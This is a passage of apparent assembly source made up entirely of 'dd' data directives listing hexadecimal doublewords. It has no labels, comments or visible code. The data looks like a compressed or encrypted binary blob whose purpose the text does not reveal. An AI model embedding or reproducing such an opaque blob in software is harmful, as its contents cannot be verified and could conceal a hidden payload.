473FB154h, 230D00BEh, 6F162E8Ch, 0B328F5B6h dd 8220FC89h, 0CEBA3A03h, 0A9F5F81h, 23B8CA6Dh, 700F0040h dd 0A9BAECB7h, 0BC3E0015h, 8A30D568h, 1326E06Dh, 3D646073h dd 24115832h, 1843D424h, 1981B5A4h, 0F89E5FD8h, 0BD085B71h dd 18D54424h, 3218BC4h, 12D827B3h, 38A0B908h, 93E62FE3h dd 3190C010h, 38260700h, 0DB95B981h, 4DE92599h, 100A2C11h dd 3FBDFDE6h, 0A9AA635Fh, 21AF40Ch, 0FBCA83C9h, 90986AD8h dd 0AFFC7C49h, 0F4BF5A24h, 2CD0F007h, 3063F440h, 0EAB4A369h dd 3AC70038h, 0BE1C6D1Fh, 5A876FEBh, 0F8F08F44h, 302F8E9Dh dd 0C6C0488Dh, 6D0B0687h, 0C48811BCh, 0FDAB0048h, 0C0F536D5h dd 97E09376h, 0CEF37505h, 0B8207412h, 0F642386Ch, 0B8B626D0h dd 84034018h, 0AD2480C8h, 0C824C8C0h, 93A29461h, 45808878h dd 59D8066Ch, 8813C0B3h, 0D75E7030h, 98F20274h, 0CABC2C11h dd 6701C0C4h, 0DB3BF9EBh, 0FB20ED69h, 47110F7Ah, 8C809B31h dd 0DAE368E6h, 438C9C50h, 2E3944h, 874B6227h, 95F64DE6h dd 995598C4h, 0D40F6CA2h, 0A367D180h, 0DCEF0014h, 0AE2C83FAh dd 216100CDh, 0D520F3FEh, 59480063h, 366231C6h, 0D8008F72h dd 6542D52Fh, 1EDFB6F6h, 49BD0D6Ch, 744B9740h, 0D822F0C2h dd 0E980B045h, 0BEC90901h, 2851C428h, 742FACB8h, 64C78062h dd 0CCB04428h, 2E7F9900h, 8A01B806h, 70A200EEh, 586FCEE5h dd 0FCB0D435h, 0C5DC2402h, 29B06B12h, 1B0C1898h, 2ABBCB00h dd 2CB79C7Bh, 6AC1450h, 4C0EEC1Dh, 0C7843858h, 102480FDh dd 49E75179h, 0CAC5D89Ch, 1C0709Dh, 0EDAA53A9h, 714CD242h dd 2EF030FDh, 0E4485C90h, 17678034h, 32B59Bh, 9440C588h dd 357ABF42h, 0C4AD8103h, 1C5A60BEh, 6687E9h, 0ED5F7479h dd 340BFD98h, 0AEE824BCh, 7019320Ch, 6311C1D8h, 0D7B17EA4h dd 81687052h, 33B932FCh, 0F6C81A4h, 113843D5h, 78157CD8h dd 26C0D3CFh, 0C64434CBh, 0E0A94581h, 5BABA870h, 2BDC4061h dd 2A6F28B7h, 69018A07h, 4A4057AEh, 38C6D379h, 2D242BC4h dd 5D59DD4h, 4932B3A0h, 0A8CBF740h, 0D7FD95E8h, 5A0B3Eh dd 1472A805h, 666F6E0h, 82E95633h, 3602C8E2h, 8E126952h dd 0B7854FEh, 988F6F74h, 0FCCA704Bh, 8E04DCE4h, 56C4A689h dd 67185A80h, 69D6395Fh, 0F2721312h, 133231Ch, 335D405h dd 5F1C346Dh, 27EBC700h, 0A3992F14h, 45364AB3h, 40ED61F8h dd 0EAF38488h, 0B009921h, 6C1486C7h, 0B8D1A9DCh, 2CBF0984h dd 0F400BCEEh, 330F7310h, 98C7931Dh, 0B5C8A0E7h, 9F26034h dd 87041E03h, 4005C084h, 0EFD76FE4h, 0F52701D5h, 6DA68A43h dd 0C32CEh, 0C975EDB0h, 3245107h, 9E18375Bh, 0AE9842E9h dd 7117D6CAh, 0B840DF2Ah, 4DFF87D2h, 0BA0A1453h, 0B912B088h dd 0A5C00305h dd 63A3A9C8h, 0B1D49950h, 40E40084h, 0E827A20h, 4BF6B45Dh dd 9D5EE000h, 0F764EAF2h, 96371DD2h, 43441F85h, 2075294h dd 0C048E9A1h, 0CD7F622Fh, 804A533Fh, 0EF5B22E2h, 605510D2h dd 0E1F2304Fh, 526990FCh, 16168010h, 47AA3h, 0BF6893D3h dd 6F5B014Dh, 9C60BEECh, 9290EC28h, 0C6657935h, 5143F739h dd 27C7EE03h, 90E1669Ch, 0A9AB51h, 914365CEh, 57DC4270h dd 402FD718h, 0C0527D31h, 0A9A04EB9h, 6CE8C18Ah, 718AAE2h dd 6AD93CF7h, 9F1A0DCBh, 0F831537Dh, 421C6EA3h, 1C8F4376h dd 6204E021h, 1894E2FAh, 28DE6953h, 261D294Fh, 0C8804E03h dd 0D45EEA46h, 0BDFF024Ah, 0ED181E1Ch, 0BBEC98A0h, 0DB0CDD53h dd 69306274h, 1889A0ABh, 4C21770Fh, 660EE4FFh, 3A408729h dd 0EF6D6F5h, 6275038h, 0DC769B11h, 0F2C80079h, 5E3575A5h dd 900088DEh, 0EF89F5Ch, 556CFA01h, 0ECC0A866h, 0AD78001Ah dd 0FEC1F958h, 0E103EAB9h, 0CB40D4DEh, 0E9510541h, 474BDAF6h dd 0C8D769DCh, 0FC55C380h, 1D1F0FF0h, 0C09FC949h, 405ACC3Dh dd 0E011A8Eh, 84ED0DDCh, 0D9853BD5h, 229B643Eh, 0E1205BE0h dd 0F83726D5h, 8DBA140Eh, 2E08D812h, 56914B1Eh, 3E3C2201h dd 0F1CDDDBDh, 84A44119h, 2118EFDFh, 5BA1D468h, 0DA1F00AFh dd 0F15E4A71h, 37FEDDC9h, 0F7C5E200h, 93EFDC31h, 0A86232C1h dd 0F320BC99h, 0CDFCFD4h, 40CB4394h, 5891F951h, 7F221500h dd 0E0517E6h, 6C2E50FEh, 5358FAA3h, 0AA74200Ch, 0CB1225Fh dd 50E30179h, 4D607DE9h, 0B7CFAAA9h, 13AD182Ah, 0D5855992h dd 0EF214A60h, 0C02DE779h, 3CBCF840h, 29C0965Ch, 2073DA74h dd 71A0567h, 33FAD943h, 0EF906ECCh, 0A7169CCDh, 2D00E0E5h dd 8A8DE84Bh, 6080E562h, 15645D53h, 0D70C4C43h, 1845CC28h dd 62CB036Eh, 653E5884h, 0AB6800EDh, 242227CEh, 7A2BEA00h dd 6EEFE109h, 4BD22940h, 1D981190h, 1F80E5E2h, 18BB5BECh dd 378900A5h, 0D76A233Fh, 8CE27EDCh, 4D16D112h, 2C56B452h dd 0FA760803h, 497785h, 3A96A0ECh, 176E11FCh, 0A41CFE04h dd 48C04158h, 6068575Dh, 6BFC81D5h, 0B300BC6Eh, 0CA21E70Dh dd 483ACB99h, 0D00040A7h, 0BC92FDEBh, 5F0C755Eh, 69AF433Eh dd 0DC7D15A7h, 5E00BCE4h, 5B92D5ADh, 6C98E631h, 0E05CF62Ah dd 0FA7582EAh, 0E505CD00h, 140C5A23h, 40181D10h, 48F000E9h dd 4127F6E8h, 1BD3D9C7h, 415D86h, 0DE776EE9h, 80873DD0h dd 0B06ADE2h, 0D1CF4074h, 97F830C9h, 0A03AC299h, 0BDCB1C02h dd 410C91CEh, 170024ACh, 0F91D74E5h, 5421DD3h, 416E8204h dd 0CE10DB04h, 8400D433h, 5C23780Bh, 7BDE02BBh, 8CE3049Eh dd 80C04197h, 2FA7DF82h, 851FDBE8h, 40F1C4D9h, 0D4E09B18h dd 80489148h, 0BE1D652Fh, 0D500D1EDh, 0D3F59DC5h, 906AA80Ah dd 4358009Fh, 4753E418h, 9C61FCEFh, 240D69C9h, 537E2FCh dd 50D5D71Ah, 57C420E1h, 0E89B5343h, 96F8C780h, 3BDE19B2h dd 4700E5FCh, 772C49F6h, 3F05B84Dh, 0D884F786h, 64B0B458h dd 685E10F1h, 724F00D2h, 8EB46A96h, 0BB7D0F0Ah, 47017CD0h dd 7AF39912h, 358361C5h, 0D7310DA5h, 0EC815A1Dh, 0A84C9AD3h dd 7E62278h, 0AF2CB8BCh, 8693D1BBh, 0B0F84803h, 40F33Ah dd 0E94D7C28h, 24DDDCA8h, 1DA499B4h, 4478265Fh, 3F694041h dd 34AD883h, 0A3027CC3h, 5B8003B9h, 0CC906587h, 2352D7FAh dd 16A1C88h, 2058F64Ah, 0A0B0200h, 398B0DBh, 0D1B93C0Fh dd 21164A2Bh, 4421D243h, 81B89DF9h, 1C535900h, 0FD795BCh dd 0EF55AF04h, 1C820B03h, 0FD9220D2h, 8000DC6h, 0C5A1267Ah dd 40F69Fh, 7746BC39h, 51920F62h, 0E5ECF816h, 0BE2E41Dh dd 0FB042BCFh, 0D14C5F04h, 32583F34h, 60F7289Ch, 935E5600h dd 402B4CF4h, 1995EFE7h, 110044F2h, 0A81DA274h, 4D1F1334h dd 0A003CE4h, 8E3DC499h, 0F5A71E3Bh, 1104E45Bh, 0DD681431h dd 0AC740764h, 33A0AFF8h, 0EE9F395h, 6FFA0E71h, 0C3847038h dd 0D01C3050h, 559A388h, 413662F8h, 8F2EC046h, 0C018607h dd 0D2E113BFh, 5841591Ah, 0A6DF04E4h, 7D4B4419h, 0EB0078B1h dd 0C4C7D309h, 0D89A00CCh, 9B3E2C81h, 4C0031D6h, 323FBFE2h dd 0B02B6682h, 9663268Ch, 0DF4900B8h, 26C11E4Ch, 8685F000h dd 68DC0FE2h, 0E09140FAh, 0A958D600h, 3C805060h, 29AFEEF2h dd 9F86B35h, 9010DF85h, 0E8086467h, 87DA696Fh, 801ECD5Bh dd 0FC58C020h, 0F3745303h, 0ABFA07h, 76AC9A41h, 22113F28h dd 509C4F0h, 8407849Bh, 64FE6FCh, 0FBEE8AE2h, 0DAF2A864h dd 0D36D7601h, 84F94A4Dh, 4BC01980h, 0CC74F5A8h, 0A0502DE4h dd 96008A84h, 10F78034h, 6439ADh, 0B4675946h, 0FA19F3DCh dd 0DF01A091h, 0C8E79111h, 823CC0h, 0D933B7B8h, 0C0AA3F21h dd 0E1FDA802h, 0C0535566h, 80548BE8h, 0CCA85FF7h, 0A7390313h dd 5C9F01C1h, 0B4468CEFh, 221050CEh, 431B5B1Ch, 80E1E5C1h dd 99D3400Fh, 2FD709ACh, 0E2056446h, 0FBEF5F22h, 914B5400h dd 3AAEB0Ah, 12DC443Ch, 0ADB07EF5h, 0D007C83Fh, 11D24701h dd 8C87B05h, 4E790190h, 7961C9Ch, 5B59930Dh, 81AF2008h dd 0F91803F3h, 74D983C3h, 0DF09D690h, 0F2A000ABh, 94011A3Fh dd 535C8894h, 0BF015D91h, 9538264Ch, 290FDCC6h, 816C485Dh dd 6588DFB2h, 1B0DF8h, 5C689A49h, 0D5A6F29Dh, 154B2502h dd 6195117Fh, 304266F0h, 0DBD92044h, 29001838h, 4B02C1A2h dd 5F51757h, 680FDF66h, 0CE8F1FEBh, 0F7063A98h, 0CD003942h dd 676ACF86h, 0ECB35E17h, 0E1104D0h, 0D2E73D62h, 84985A24h dd 0ED000DC2h, 7F39030Fh, 961356E1h, 2ED78A40h, 1EC02678h dd 0AC80011Dh, 48D06DA3h, 0E00263ACh, 0EE686E6Ch, 85F4A2A9h dd 25C0E4D7h, 74225C3Eh, 8C517211h, 0F5094411h, 1819BFF6h dd 99FC0848h, 96470074h, 8D03812h, 0C99C20EDh, 2701E344h dd 0C0F41E10h, 0A740F424h, 38AF6Dh, 77CA3F71h, 1BBAD8B0h dd 2F0B9B58h, 9873D8A2h, 0E5DF21CCh, 3FC0111Fh, 4FFAFB2Fh dd 7DA02CA6h, 0D12C40DCh, 0CC043469h, 0CB767AC6h, 6E2A78A2h dd 0D68526E0h, 0A4684458h, 0AD1EE624h, 4B808EEFh, 0C7F60C36h dd 0EE37128Dh, 42908C7Dh, 48A00F8Ah, 0C5A6804Eh, 0BA4742Bh dd 0F4F2F72Eh, 443AE448h, 73DA0272h, 9CFA7FFEh, 0DAF9A058h dd 4A001864h, 6571D6A2h, 0D901C8h, 0B15BFF5Ah, 2CEDF874h dd 0F70A3CB1h, 1480A045h, 7B0D6740h, 0B0F10072h, 4E9B1C0Ch dd 1600C3A9h, 0F6CFE1C6h, 34696E30h, 8C709586h, 3500DDA8h dd 0A41189EEh, 59651C6h, 8462CA5Eh, 2D980859h, 7147F78Ch dd 0CE800042h, 0B4735766h, 0F43D49A8h, 19E90072h, 255661D1h dd 98EC5054h, 439208D3h, 0F5826BCCh, 2048626Eh, 2B85ED9Bh dd 0E3D6250Bh, 4340A107h, 17DACDh, 0CB3B2AD5h, 0D3FA0101h dd 0C9439702h, 0B423D849h, 2000A438h, 6B77E55Eh, 0FD07455Fh dd 24C9F942h, 0D42ED083h, 88D95C8Ch, 534414D7h, 0E173307Dh dd 5D5C6318h, 5C18573Ah, 0FA2277D8h, 7B7418FBh, 0EA1BC149h dd 0F7FE0500h, 0CBA116FCh, 6E68072Dh, 4B7596B3h, 4C48F88Dh dd 8C3EFA30h, 62A59CECh, 0EFC61240h, 4AAD2936h, 744C007Dh dd 6935A2F9h, 0ABE40C2h, 3C445057h, 4516707Dh, 74FC2062h dd 0ED002502h, 1BDF36ADh, 0AC3BCEh, 0BF4BBC71h, 0F0A7BE1h dd 0E673D400h, 8DC40374h, 3F0C08C3h, 4828A85Dh, 4DC29213h dd 0DCC1F804h, 440C4852h dd 28026380h, 0F8EB34D0h, 191A61D9h, 4941663Eh, 614C108Ch dd 180076C0h, 0AF36FEECh, 283597Bh, 648E4FFh, 0A0C03ED5h dd 0A448EF9Bh, 115221C4h, 80883CDAh, 0AE23C33Dh, 9AA46ECh dd 653C8DB6h, 0DE85DC90h, 61905C99h, 2B0C892h, 0CAD61800h dd 0C3BBD5E3h, 0E23802C2h, 0E1586EAFh, 14D0BC48h, 43065C99h dd 1149E4D4h, 46F6E8h, 0CDF734C1h, 0F8B181CEh, 9F5A03A9h dd 0DF59325Eh, 5F53127h, 44CC4358h, 632484D7h, 1E40DCFAh dd 9C1EE4Dh, 0ED2E7DBCh, 205DF4A4h, 24E4F5ACh, 40F0F6EBh dd 0BAA616DDh, 0E6358F1Ch, 1C00061Ch, 2243ED63h, 0ACA402FBh dd 8A6BD70Bh, 3E7DA083h, 64557900h, 666FAEA3h, 50370080h dd 3DAD9CBDh, 624F534Ch, 18AF040h, 3DDC19F1h, 0F40784D9h dd 45F373C4h, 0D16800FBh, 4799F618h, 0C03E209h, 0E1BC48F7h dd 60D70034h, 5E1667C3h, 6C393127h, 0C4AE8343h, 0D8EF9CA9h dd 489DF3F0h, 801D486Fh, 0E15200EEh, 8E400B03h, 95101918h dd 965B5328h, 392A4068h, 0CC0EE56Ah, 81A55C8Bh, 0E3D9E4A2h dd 4125CFFBh, 20E20C84h, 275F05Bh, 1E5960E2h, 4440788Ch dd 807C947Dh, 82FC5EA7h, 2E00BEBDh, 10D2600Eh, 1C907FC4h dd 8120A54Bh, 0ABD64384h, 11882295h, 0FD164ED4h, 0E140070Dh dd 406FF31Ah, 0A0681925h, 0C8171540h, 5C080030h, 0B70CAFB9h dd 0AE3F4ECEh, 4391E2FCh, 46B0E6C8h, 41596414h, 0AE400F52h dd 0F5A70430h, 848C5E3Fh, 5F4286D2h, 13B4112Ch, 35AC90FAh dd 9C0F7173h, 0C0372432h, 9259F90Bh, 407A5AB5h, 0D30EE324h dd 51009018h, 63B4C095h, 0EFE5AEh, 0D5F3785Ch, 3910EDCBh dd 40D6020Ah, 239160CAh, 5FE9E882h, 0A700D06Ch, 78DC320Eh dd 1D8F5Eh, 0D542111Fh, 954C627Ch, 0C16E7400h, 0DC4E5A24h dd 5FC9475h, 80AC5801h, 30C7C3Dh, 972E4498h, 6F068462h dd 4C81E168h, 2304900Ah, 0CC594503h, 0C600EF24h, 44DC0EEDh dd 4B196C97h, 576440F6h, 1B83799h, 12EFA13Ah, 0A4D0779Dh dd 742166h, 91ABD9BFh, 812599A4h, 86B40607h, 0A000C952h dd 96FCFEF2h, 92698E1Ch, 5B35C180h, 0D300F830h, 779230Fh dd 94027DDDh, 805068F4h, 3267AA6Dh, 9201CF4Bh, 1028E185h dd 64D1D744h, 696DEC50h, 3A0488DCh, 0AD96C00h, 766B84A9h dd 0C8890BA7h, 0B40495A2h, 4E405998h, 77C4ED2h, 11EC15FDh dd 0CC110EFh, 0EFB86353h, 0D432030Bh, 0FE541844h, 37F03Ah dd 0EE384CFCh, 0B66B39BCh, 0D413E7FEh, 0C01FD697h, 0ACDCA0A2h dd 5DA602F8h, 0CA69FA77h, 60F6B069h, 0B8BA401Ch, 16E3EC20h dd 20465A3Eh, 0FA8EDC1Ch, 70A49F54h, 60A07100h, 0E27D7876h dd 1DD100B3h, 19E63D61h, 0FA1A754Eh, 5330663Fh, 80BA1E74h dd 5EE34B08h, 170B38D6h, 0B0FB51B4h, 8095BADCh, 7C9E12D7h dd 0FA5D6E83h, 85911307h, 908ADCh, 47F3CAA5h, 414E53h dd 7C89AADEh, 4D81BB3Dh, 31914094h, 46CE0176h, 3B1DBC68h dd 0D46DE433h, 10ABC400h, 6B4E2E2Fh, 0EF4700DDh, 9D8AD5D2h dd 627C0EEEh, 1027FC94h, 0DEB208h, 0D77BB9C6h, 25514659h dd 0E3CBFB1Dh, 828B3A05h, 84E5CC92h, 184BE4B0h, 214D7461h dd 6D1A61CCh, 411B8028h, 2CAE3E86h, 4098F689h, 0B66CCB63h dd 810FB505h, 0B4081A01h, 84F396AFh, 0E23884C0h, 0D02C803Ch dd 164A0A3h, 9F585F77h, 746A3681h, 63E93EA0h, 197D0C70h dd 88D841E1h, 0E7041D76h, 0C4C7857Ah, 581004A1h, 538831Eh dd 0A3612775h, 6294D2DFh, 88075C64h, 5FA4222Eh, 7BBF56E0h dd 0B275FDh, 3A161B17h, 95CB35BDh, 288BCF00h, 0FE6606Ch dd 489F4862h, 489E5F87h, 19CC408Dh, 88926020h, 0BC0CDFA1h dd 0A1FA73C3h, 42C95E43h, 4817D794h, 3A44B4FAh, 517E0A34h dd 86F2DEh, 9DF64BADh, 0C2EA5BE8h, 96717505h, 5482F011h dd 5B0521Dh, 0EB273FF2h, 0DC8CC962h, 7D0F1124h, 60F0DDDEh dd 3C0F084Eh, 0F7E72EEFh, 7C704054h, 78004D93h, 0A073D17Bh dd 2665F49h, 92FEC182h, 70E4D343h, 88E8E95Dh, 9A6B4333h dd 5420F14Bh, 189B2BCh, 502806D3h, 487798DDh, 0B101F5DCh dd 0E34E0C29h, 84C40162h, 788D1EABh, 0D4C00C2Fh, 8098B9A8h dd 5CE1631Ch, 0F5405A07h, 0EDA662CEh, 2F94E684h, 1C900218h dd 0B4BCC043h, 0B08D50h, 9B1EAF11h, 9C79BA30h, 0A8EED600h dd 0B9525326h, 2A052887h, 0C05C94DCh, 0B21347Eh, 99274300h dd 5614C4A2h, 4CA100F4h, 5EEDA0F7h, 64137AC5h, 6CD0FCB3h dd 0FFE137h, 0C74EDAA5h, 0F636B1EDh, 8BB2D800h, 956A1EF4h dd 0BB422677h, 0DC0F9478h, 9A9DC7C0h, 0D8076B9Bh, 0AE076D05h dd 80F4D984h, 0E96400EDh, 0E014AABh, 2894D640h, 59145CACh dd 0BBE3C884h, 5D6F5300h, 3FD6841Ah, 0C36849C6h, 0B26A0021h dd 99D19530h, 413843A4h, 2CD2AA40h, 84772843h, 0C3842B0Ah dd 0D9112855h, 0C44A3600h, 0E5921872h, 0A3917C07h, 85F15D05h dd 184256C1h, 30A420E6h, 0DD255A5Bh, 0CACA0FCh, 96FDC1h dd 74E64083h, 0C45EEAF3h, 0EC70C9Eh, 92653FC2h, 0CBE863DCh dd 6C3CD157h, 72836040h, 0C8140107h, 50E10C84h, 4DC0D0C6h dd 586D920Ah, 16087406h, 0A3D4455Bh, 38884A6Ch, 0C98100C5h dd 0A566ED75h, 710EBE91h, 61A3C3C4h, 0F46C2BCAh, 723902DBh dd 0DFE82DAh, 97A79CE0h, 0DED3F516h, 248A8413h, 0B2565501h dd 0EC149B04h, 1E005A0Dh, 0D21DB892h, 90EE812Ch, 4804BA22h dd 84C2CCBEh, 0E8E64CDBh, 574AE44h, 0A8834BFAh, 178F2F2h dd 1EA282EBh, 692019BCh, 770D00DEh, 54720253h, 4F027EE5h dd 842123FAh, 9874FAD4h, 8DED133Ch, 2A4C3FEh, 341FA888h dd 9A60EC03h, 4CB76235h, 324A2C79h, 7421BD64h, 402A6905h dd 0E42A7344h, 0B0072F0h, 0B5192C5Ch, 91B80C5h, 0E7B17D70h dd 737FBC82h, 0EF43F504h, 69B99E37h, 0E8498005h, 790ECD1Ah dd 14595C41h, 0F725205Dh, 0D5F54848h, 552FD0F5h, 6A8CC01Ch dd 87AABB80h, 969C603Ch, 414E44C0h, 25F704EFh, 0D56EB850h dd 0FC7C13CDh, 0A68C8043h, 331DE11Ch, 0F4000755h, 0FA503BD5h dd 8414254Fh, 3E250844h, 215C6459h, 5E0744C1h, 0F390F9FEh dd 0E1C6CBh, 2992740Eh, 0C43C8999h, 0FADEF602h, 5C1DD039h dd 868350C8h, 3AE15500h, 0D4053CF0h, 0F30C3F74h, 0F5A62B02h dd 0E452FB8Bh, 53EBFF00h, 47A893B6h, 6E031E9Eh, 7AA2C4D3h dd 62394040h, 2C7E95F6h, 62A492B3h, 0A8820913h, 0EC84E651h dd 0B888523Ah, 0FB4D0025h, 6B1CACD8h, 0F500C82Dh, 2F6D9353h dd 0A2D359A6h, 3C44E0h, 10778EE9h, 556041Eh, 0A1A0FD00h dd 0A82FB562h, 0DA605C1h, 0B24A4D28h, 975C03B8h, 0E0BE1FC4h dd 0B94EF9Eh, 28D2F63Eh, 290024E5h, 0DFB32ED0h, 0F6CA00A9h dd 4E5513A3h, 0B3B87963h, 10704401h, 0F7D90DDCh, 3E01AC48h dd 0BC008D7Eh, 1B2A51CAh, 58B5E9F8h, 16CB1750h, 79EC3058h dd 6D008128h, 3166ACEAh, 0EE9AAA2Ch, 722E87Bh, 0F29098D3h dd 53E720D6h, 7512EF42h, 94A0C9FAh, 0AC2213EAh, 985C0867h dd 0F80044A2h, 77C8BA4Dh, 47A21h, 0B7A38A2Eh, 74B1537Dh dd 0A7D1B8C3h, 90502A6Ah, 66BB007Ch, 78289E10h, 0C9002C60h dd 76CAB2EBh, 10ECD0E1h, 25E730C1h, 0B044D5h, 0AA17316Dh dd 0B674D77Dh, 7B7D66E8h, 5B8A0701h, 267435Dh, 1202B838h dd 0E2CB7E9h, 0FB8968E0h, 5E03FCB1h, 8038B37Ch, 440A61Fh dd 938948E7h, 2FD0C0E9h dd 0C101F8A1h, 0E1159514h, 54359B25h, 6228E872h, 0AAD0164h dd 9D7280C6h, 814D4A3h, 5B3A783Dh, 0E3AE1FCh, 0E4FA2F09h dd 0D800A464h, 0A3895D96h, 3F250EF1h, 0AF1C03EBh, 0B929CB75h dd 19E13A80h, 4C000212h, 5C1B92D4h, 25E44679h, 3CC43847h dd 8B30F200h, 820F816Dh, 8AE7039Fh, 28FEE2E1h, 0A499387Dh dd 37301CB8h, 7D32E100h, 0E9B3F3Eh, 473CA2CDh, 0A6667C61h dd 27E1E4C1h, 0E84D4802h, 5C768294h, 56F58060h, 0D7D492C2h dd 0D05BF20Fh, 0DAA20007h, 5C034DC3h, 0C0C1A89Bh, 0F807336Fh dd 1301DE4Ch, 4E5DD5E2h, 483046D9h, 0B69C14F9h, 1100D415h dd 79E40A0Eh, 460212E7h, 0E1CA8660h, 808C5EFCh, 0C875BC8Ch dd 5405A7A3h, 7050F56Dh, 9093C4C0h, 0BC115C78h, 0A9740D00h dd 0D51B04D3h, 46662E00h, 0EDD05C59h, 0F9481813h, 0C7E75199h dd 8789403Fh, 0C98DD355h, 54FF9ED1h, 79562DD4h, 595C7129h dd 0AA08E48Ch, 96BCF43h, 629819E8h, 2484D80Ch, 4098FCF1h dd 82D24377h, 626C3E00h, 20B089BCh, 3BDB7D22h, 17FA02AAh dd 88BFD2E7h, 0DA7388F0h, 3E86801Fh, 0EA00819Ch, 79EE97A8h dd 0C86D01E1h, 3FFAF55Eh, 0C4292B43h, 0D0ECF12Bh, 2F00AC02h dd 0DB51D516h, 0F4185898h, 0A891F6h, 0C7066427h, 832E67ABh dd 0D800FF7Ch, 2B3D210Dh, 3F0512A7h, 2FFC2C59h, 0E11AAF1Eh dd 0BB2D240h, 18EEF24h, 0B9616244h, 0C6D3405Fh, 0E8E0B074h dd 0A2F677h, 0A3FD9BB4h, 0F904E341h, 3D30B095h, 0FEC80D8h dd 0BCCA402Eh, 9CD5D740h, 0AE593035h, 0E1F10231h, 8820955Bh dd 0FA9793F3h, 0A5BE009Ah, 0F4CEDC67h, 4D244699h, 0B4028F9h dd 0C582Bh, 0F849AD29h, 91F29275h, 0F01AD232h, 6BAC20AFh dd 209CF661h, 0E30F0049h, 180D81Dh, 5D0D86E9h, 412367E6h dd 893EF3FCh, 4869D329h, 7E17B30h, 42C9DFF8h, 2E5A7023h dd 0D0903A6Ah, 67C04325h, 0AC0D8E40h, 40E03752h, 9195987Ch dd 23737700h, 2E0BC93Dh, 1FB2032Dh, 94164CB6h, 43A4F4F4h dd 9FD4F307h, 1BC0AA7Dh, 4B332BF0h, 6DEC88F1h, 0EE00B078h dd 63E40514h, 9EA2A86h, 0E103D42Ch, 6995FC5Bh, 11D713CCh dd 0F86D2CD3h, 170C5E03h, 160E1BD3h, 0E021410h, 0C412D225h dd 792E2460h, 5E02E57Ch, 17686EDCh, 0E8A863A9h, 563C84B8h dd 512FBC57h, 0DCEDE090h, 0F5064000h, 4C411635h, 25D30B66h dd 1C440CA6h, 0F2E42900h, 0B25104A9h, 8FCF3ADBh, 8D839A4h dd 0EF8044C3h, 0E1FA0E03h, 0BC909726h, 0CB006272h, 0D87EB731h dd 11EE9311h, 1640F7E8h, 0B7008012h, 5BA4CFB7h, 0D9AA0008h dd 0E21C2A2h, 0D8CBF0ACh, 432004D4h, 0F8BE508Dh, 0D5FAD600h dd 47CCD958h, 0C568E658h, 3EA120Ch, 0E565AD9Fh, 0CA3304C8h dd 0E71F7309h, 7B464DFh, 0FC038A05h, 1C8E3017h, 7202833Ah dd 380281DCh, 482D5E7h, 8060E93Dh, 165BDDDEh, 8FD11408h dd 93A188C6h, 0C050AC4Eh, 98006469h, 992FEEEDh, 74135934h dd 224C92C6h, 0F506E4C1h, 1502DE1Ah, 31D84451h, 0DAB79B00h dd 0C9797EB3h, 49A70158h, 0ABF3E63Bh, 80BC7245h, 0A9A42482h dd 677EC3h, 8F59DB6Ch, 0F64B9023h, 91412101h, 95643592h dd 0D411A832h, 98CC4A57h, 44C898A7h, 0DD09E8E4h, 81D909DEh dd 77EBFD70h, 95259A70h, 72982D43h, 98CB303Fh, 0F97019C6h dd 0B00B883Dh, 0AD003555h, 3B1F1B19h, 0FDD6F800h, 299BD2C1h dd 805CB9BAh, 0E23A0489h, 0A65CD544h, 6F1C00CAh, 0FA5B18C8h dd 6DA516E3h, 0EE501D24h, 0BB084038h, 9700DD06h, 7EC99B0Dh dd 2C8CF2DCh, 7C0313h, 12B8FD5h, 0BFE6C61Ah, 925CC8C4h dd 3AFE8CCh, 991071BAh, 57A9F450h, 0C3268h, 0D3C0CA6Ah dd 0BE51AFh, 0E8AEC7FBh, 6D4C3930h, 0FB663F3Ah, 9ED04420h dd 53A06054h, 4804289Dh, 12D74D47h, 0CF8820ACh, 41271A64h dd 6C14D070h, 20D3812Ch, 0B04034E2h, 9C696F74h, 3780BD64h dd 0F03DAEBEh, 67034BFAh, 1AC16E60h, 0AC8102A3h dd 0B4450D9Bh, 0DD7450E8h, 8861720Fh, 0CB50E140h, 48213E26h dd 0FE802428h, 7455DB06h, 3F04087Ah, 54119D0Bh, 54CB1084h dd 44A20B75h, 9B0021F9h, 60738A1Fh, 924EB98h, 6C42384Dh dd 79D22253h, 0F0ECE413h, 772E43A0h, 0FAC9EA00h, 0F3F18C8Ah dd 0BF1809A4h, 888F5EDDh, 0A8A8A6A4h, 0B7F38050h, 290F2Fh dd 0A9709CEEh, 4E312383h, 6900E7E0h, 0C1944414h, 988C79D5h dd 0DC7A58B0h, 43706C24h, 6C80C40h, 3777685Ah, 4A096166h dd 42A06121h, 0E8202FEDh, 660587B8h, 0AE98D5C2h, 2BD77C81h dd 0DD05C432h, 40B0CDh, 702F06F8h, 170346B3h, 99BEE9C6h dd 53E3A058h, 0C14B637Bh, 0F6F00D2Fh, 480D7FC9h, 8A7C057h dd 10C9408h, 0B86DE996h, 0C0666373h, 9B0CA392h, 808408CBh dd 0B00E51BCh, 8F05D891h, 5A883C07h, 5FA17050h, 0A600EEEAh dd 33B94EF4h, 44A5C2F3h, 0C3394357h, 6210C822h, 0D94A070h dd 8719199h, 0ECA20A8Fh, 4C31785Ch, 0D402A611h, 270018B4h dd 91098693h, 725ED5CBh, 68106AC3h, 9A400D98h, 88680B68h dd 0AAF1C04Dh, 2B006C7Dh, 3ED9ADA0h, 24B6495Eh, 2FCD3C6h dd 5C87564Eh, 5376A460h, 0C8FBFC25h, 1F1B464h, 0FF170F8Bh dd 0D72FE420h, 60DB0824h, 8B0E6385h, 936A69C0h, 23C80009h dd 0DCD3D70Ch, 0A95098BDh, 74F0535Ch, 0D4A4B754h, 925C7C2Ch dd 9AAFFF00h, 819358h, 67384150h, 9B8C8590h, 5A5BEE03h dd 0C0CDF587h, 1C8D363h, 0BA33140Bh, 0C46C51C3h, 9C00242Eh dd 64933A7Bh, 7357676Dh, 784A3C6Eh, 0DDA33C80h, 41456B11h dd 1871E400h, 8D31D0F4h, 85350095h, 0A71CC665h, 4D1D5C06h dd 2D9DD8D9h, 0B7BA6B00h, 0BCF6Dh, 56E4E51Dh, 9265D571h dd 0F803A073h, 0A687186Bh, 1490F97h, 6EA04599h, 7E215E2Ah dd 308ACD30h, 0DD235h, 0C3A7BAB9h, 6F40B550h, 8B5DC000h dd 8CC282BFh, 53131D21h, 4217C099h, 0B44ED6E0h, 0EF044000h dd 0B7C8A67h, 0ECE93CF0h, 99955B14h, 0B2BAB500h, 5A89C716h dd 160E400h, 0B39E0E66h, 0AA8D1865h, 0E51781DBh, 14D63B03h dd 34518Ch, 54090AB0h, 0EF99026Fh, 636BE203h, 8958BEh dd 0C5D6F6D0h, 995F9C7h, 9F692602h, 60DF1F7Bh, 0F6BE91h dd 